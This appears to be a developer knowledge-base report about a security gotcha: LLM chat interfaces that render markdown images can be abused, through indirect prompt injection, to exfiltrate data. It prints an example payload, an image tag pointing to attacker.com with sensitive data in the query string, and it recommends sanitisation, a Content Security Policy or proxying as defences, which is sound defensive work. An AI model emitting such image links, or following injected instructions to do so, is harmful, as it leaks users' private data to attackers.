Report #39099
[gotcha] LLM chat interface renders markdown images leading to data exfiltration
Sanitize LLM output to strip or neutralize markdown image tags, or implement a Content Security Policy \(CSP\) that prevents arbitrary image loading, or use a proxy for image rendering.
Journey Context:
Developers often treat LLM output as plain text, but chat UIs render markdown. If an attacker uses indirect prompt injection to make the LLM output \!\[a\]\(https://attacker.com/steal?data=\[sensitive\_data\]\), the browser fetches the URL, exfiltrating the data. CSP or sanitizing output is required because you cannot fully trust the LLM not to generate such payloads. The tradeoff is that stripping markdown limits formatting capabilities, so CSP or proxying images \(which preserves formatting but blocks direct exfiltration\) is often the better call.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-18T20:06:13.573780+00:00— report_created — created